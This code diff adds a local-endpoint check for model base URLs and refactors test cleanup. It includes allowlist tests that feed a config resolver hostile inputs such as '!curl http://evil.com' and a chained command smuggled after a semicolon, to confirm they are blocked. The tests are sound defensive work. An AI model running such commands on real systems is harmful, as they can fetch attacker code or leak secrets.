  import { atomicWriteFileSync } from "./fs-utils.js";
7
7
 
8
8
  describe("atomicWriteFileSync", () => {
9
- it("writes file content atomically", () => {
10
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
11
- try {
12
- const filePath = join(dir, "test.txt");
13
- atomicWriteFileSync(filePath, "hello world");
14
- assert.equal(readFileSync(filePath, "utf-8"), "hello world");
15
- } finally {
9
+ let dir: string;
10
+
11
+ afterEach(() => {
12
+ if (dir) {
16
13
  rmSync(dir, { recursive: true, force: true });
17
14
  }
18
15
  });
19
16
 
17
+ it("writes file content atomically", () => {
18
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
19
+ const filePath = join(dir, "test.txt");
20
+ atomicWriteFileSync(filePath, "hello world");
21
+ assert.equal(readFileSync(filePath, "utf-8"), "hello world");
22
+ });
23
+
20
24
  it("overwrites existing file atomically", () => {
21
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
22
- try {
23
- const filePath = join(dir, "test.txt");
24
- atomicWriteFileSync(filePath, "first");
25
- atomicWriteFileSync(filePath, "second");
26
- assert.equal(readFileSync(filePath, "utf-8"), "second");
27
- } finally {
28
- rmSync(dir, { recursive: true, force: true });
29
- }
25
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
26
+ const filePath = join(dir, "test.txt");
27
+ atomicWriteFileSync(filePath, "first");
28
+ atomicWriteFileSync(filePath, "second");
29
+ assert.equal(readFileSync(filePath, "utf-8"), "second");
30
30
  });
31
31
 
32
32
  it("does not leave .tmp file after successful write", () => {
33
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
34
- try {
35
- const filePath = join(dir, "test.txt");
36
- atomicWriteFileSync(filePath, "content");
37
- assert.equal(existsSync(filePath + ".tmp"), false);
38
- } finally {
39
- rmSync(dir, { recursive: true, force: true });
40
- }
33
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
34
+ const filePath = join(dir, "test.txt");
35
+ atomicWriteFileSync(filePath, "content");
36
+ assert.equal(existsSync(filePath + ".tmp"), false);
41
37
  });
42
38
 
43
39
  it("supports Buffer content", () => {
44
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
45
- try {
46
- const filePath = join(dir, "test.bin");
47
- const buf = Buffer.from([0x00, 0x01, 0x02, 0xff]);
48
- atomicWriteFileSync(filePath, buf);
49
- const result = readFileSync(filePath);
50
- assert.deepEqual(result, buf);
51
- } finally {
52
- rmSync(dir, { recursive: true, force: true });
53
- }
40
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
41
+ const filePath = join(dir, "test.bin");
42
+ const buf = Buffer.from([0x00, 0x01, 0x02, 0xff]);
43
+ atomicWriteFileSync(filePath, buf);
44
+ const result = readFileSync(filePath);
45
+ assert.deepEqual(result, buf);
54
46
  });
55
47
 
56
48
  it("supports encoding parameter", () => {
57
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
58
- try {
59
- const filePath = join(dir, "test.txt");
60
- atomicWriteFileSync(filePath, "utf8 content", "utf-8");
61
- assert.equal(readFileSync(filePath, "utf-8"), "utf8 content");
62
- } finally {
63
- rmSync(dir, { recursive: true, force: true });
64
- }
49
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
50
+ const filePath = join(dir, "test.txt");
51
+ atomicWriteFileSync(filePath, "utf8 content", "utf-8");
52
+ assert.equal(readFileSync(filePath, "utf-8"), "utf8 content");
65
53
  });
66
54
  });
@@ -0,0 +1,45 @@
1
+ /**
2
+ * local-model-check.ts — Utility to detect if a model baseUrl is local.
3
+ *
4
+ * Leaf module with zero transitive dependencies on TypeScript parameter properties.
5
+ * Used by ModelRegistry and tests.
6
+ */
7
+
8
+ /**
9
+ * Check if a model's baseUrl points to a local endpoint.
10
+ * Returns true for localhost, 127.0.0.1, 0.0.0.0, ::1, or unix socket paths.
11
+ * Returns false if baseUrl is empty (cloud provider) or points to a remote host.
12
+ */
13
+ export function isLocalModel(model: { baseUrl: string }): boolean {
14
+ const url = model.baseUrl;
15
+ if (!url) return false;
16
+
17
+ // Unix socket paths
18
+ if (url.startsWith("unix://") || url.startsWith("unix:")) return true;
19
+
20
+ try {
21
+ const parsed = new URL(url);
22
+ const hostname = parsed.hostname;
23
+ if (
24
+ hostname === "localhost" ||
25
+ hostname === "127.0.0.1" ||
26
+ hostname === "0.0.0.0" ||
27
+ hostname === "::1" ||
28
+ hostname === "[::1]"
29
+ ) {
30
+ return true;
31
+ }
32
+ } catch {
33
+ // If URL parsing fails, check raw string for local patterns
34
+ if (
35
+ url.includes("localhost") ||
36
+ url.includes("127.0.0.1") ||
37
+ url.includes("0.0.0.0") ||
38
+ url.includes("[::1]")
39
+ ) {
40
+ return true;
41
+ }
42
+ }
43
+
44
+ return false;
45
+ }
@@ -28,6 +28,7 @@ import { ModelDiscoveryCache } from "./discovery-cache.js";
28
28
  import type { DiscoveredModel, DiscoveryResult } from "./model-discovery.js";
29
29
  import { getDefaultTTL, getDiscoverableProviders, getDiscoveryAdapter } from "./model-discovery.js";
30
30
  import { clearConfigValueCache, resolveConfigValue, resolveHeaders } from "./resolve-config-value.js";
31
+ import { isLocalModel } from "./local-model-check.js";
31
32
 
32
33
  const Ajv = (AjvModule as any).default || AjvModule;
33
34
  const ajv = new Ajv();
@@ -557,7 +558,7 @@ export class ModelRegistry {
557
558
  async getApiKey(model: Model<Api>, sessionId?: string): Promise<string | undefined> {
558
559
  const authMode = this.getProviderAuthMode(model.provider);
559
560
  if (authMode === "externalCli" || authMode === "none") return undefined;
560
- return this.authStorage.getApiKey(model.provider, sessionId);
561
+ return this.authStorage.getApiKey(model.provider, sessionId, { baseUrl: model.baseUrl });
561
562
  }
562
563
 
563
564
  /**
@@ -807,6 +808,25 @@ export class ModelRegistry {
807
808
  }
808
809
  return converted;
809
810
  }
811
+
812
+ /**
813
+ * Check if a model's baseUrl points to a local endpoint.
814
+ * Delegates to standalone isLocalModel() function.
815
+ */
816
+ static isLocalModel(model: Model<Api>): boolean {
817
+ return isLocalModel(model);
818
+ }
819
+
820
+ /**
821
+ * Check if all models in the registry are local.
822
+ * Returns true only if every model passes isLocalModel().
823
+ * Returns false if there are no models.
824
+ */
825
+ isAllLocalChain(): boolean {
826
+ const models = this.getAll();
827
+ if (models.length === 0) return false;
828
+ return models.every((m) => isLocalModel(m));
829
+ }
810
830
  }
811
831
 
812
832
  /**
@@ -38,21 +38,20 @@ describe("resolveConfigValue — non-command values", () => {
38
38
  });
39
39
 
40
40
  describe("resolveConfigValue — command allowlist enforcement", () => {
41
- it("blocks a disallowed command and returns undefined", () => {
41
+ it("blocks a disallowed command and returns undefined", (t) => {
42
42
  const stderrChunks: string[] = [];
43
43
  const originalWrite = process.stderr.write.bind(process.stderr);
44
44
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
45
45
  stderrChunks.push(chunk.toString());
46
46
  return true;
47
47
  };
48
-
49
- try {
50
- const result = resolveConfigValue("!curl http://evil.com");
51
- assert.equal(result, undefined);
52
- assert.ok(stderrChunks.some((line) => line.includes("curl")));
53
- } finally {
48
+ t.after(() => {
54
49
  process.stderr.write = originalWrite;
55
- }
50
+ });
51
+
52
+ const result = resolveConfigValue("!curl http://evil.com");
53
+ assert.equal(result, undefined);
54
+ assert.ok(stderrChunks.some((line) => line.includes("curl")));
56
55
  });
57
56
 
58
57
  it("blocks another disallowed command (rm)", () => {
@@ -65,7 +64,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
65
64
  assert.equal(result, undefined);
66
65
  });
67
66
 
68
- it("allows a safe command prefix to proceed to execution", () => {
67
+ it("allows a safe command prefix to proceed to execution", (t) => {
69
68
  // `pass` is unlikely to be installed in CI, so we just verify it does NOT
70
69
  // return undefined due to the allowlist check — it may return undefined if
71
70
  // the binary is absent, but the block path must not be taken.
@@ -76,16 +75,15 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
76
75
  stderrChunks.push(chunk.toString());
77
76
  return true;
78
77
  };
79
-
80
- try {
81
- resolveConfigValue("!pass show nonexistent-entry-for-test");
82
- const blocked = stderrChunks.some((line) =>
83
- line.includes("Blocked disallowed command")
84
- );
85
- assert.equal(blocked, false, "pass should not be blocked by the allowlist");
86
- } finally {
78
+ t.after(() => {
87
79
  process.stderr.write = originalWrite;
88
- }
80
+ });
81
+
82
+ resolveConfigValue("!pass show nonexistent-entry-for-test");
83
+ const blocked = stderrChunks.some((line) =>
84
+ line.includes("Blocked disallowed command")
85
+ );
86
+ assert.equal(blocked, false, "pass should not be blocked by the allowlist");
89
87
  });
90
88
  });
91
89
 
@@ -130,61 +128,58 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
130
128
  assert.equal(result, undefined);
131
129
  });
132
130
 
133
- it("writes stderr warning when shell operators detected", () => {
131
+ it("writes stderr warning when shell operators detected", (t) => {
134
132
  const stderrChunks: string[] = [];
135
133
  const originalWrite = process.stderr.write.bind(process.stderr);
136
134
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
137
135
  stderrChunks.push(chunk.toString());
138
136
  return true;
139
137
  };
140
-
141
- try {
142
- resolveConfigValue("!pass show key; curl evil.com");
143
- assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
144
- } finally {
138
+ t.after(() => {
145
139
  process.stderr.write = originalWrite;
146
- }
140
+ });
141
+
142
+ resolveConfigValue("!pass show key; curl evil.com");
143
+ assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
147
144
  });
148
145
  });
149
146
 
150
147
  describe("resolveConfigValue — caching", () => {
151
- it("caches the result of a blocked command", () => {
148
+ it("caches the result of a blocked command", (t) => {
152
149
  const callCount = { n: 0 };
153
150
  const originalWrite = process.stderr.write.bind(process.stderr);
154
151
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
155
152
  callCount.n++;
156
153
  return true;
157
154
  };
158
-
159
- try {
160
- resolveConfigValue("!curl http://evil.com");
161
- resolveConfigValue("!curl http://evil.com");
162
- // The block warning should only fire once; the second call hits the cache
163
- // before reaching the allowlist check, so stderr count is 1.
164
- assert.equal(callCount.n, 1);
165
- } finally {
155
+ t.after(() => {
166
156
  process.stderr.write = originalWrite;
167
- }
157
+ });
158
+
159
+ resolveConfigValue("!curl http://evil.com");
160
+ resolveConfigValue("!curl http://evil.com");
161
+ // The block warning should only fire once; the second call hits the cache
162
+ // before reaching the allowlist check, so stderr count is 1.
163
+ assert.equal(callCount.n, 1);
168
164
  });
169
165
 
170
- it("clearConfigValueCache resets cached entries", () => {
166
+ it("clearConfigValueCache resets cached entries", (t) => {
171
167
  const stderrChunks: string[] = [];
172
168
  const originalWrite = process.stderr.write.bind(process.stderr);
173
169
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
174
170
  stderrChunks.push(chunk.toString());
175
171
  return true;
176
172
  };
173
+ t.after(() => {
174
+ process.stderr.write = originalWrite;
175
+ });
177
176
 
178
- try {
179
- resolveConfigValue("!curl http://evil.com");
180
- assert.equal(stderrChunks.length, 1);
177
+ resolveConfigValue("!curl http://evil.com");
178
+ assert.equal(stderrChunks.length, 1);
181
179
 
182
- clearConfigValueCache();
180
+ clearConfigValueCache();
183
181
 
184
- resolveConfigValue("!curl http://evil.com");
185
- assert.equal(stderrChunks.length, 2);
186
- } finally {
187
- process.stderr.write = originalWrite;
188
- }
182
+ resolveConfigValue("!curl http://evil.com");
183
+ assert.equal(stderrChunks.length, 2);
189
184
  });
190
185
  });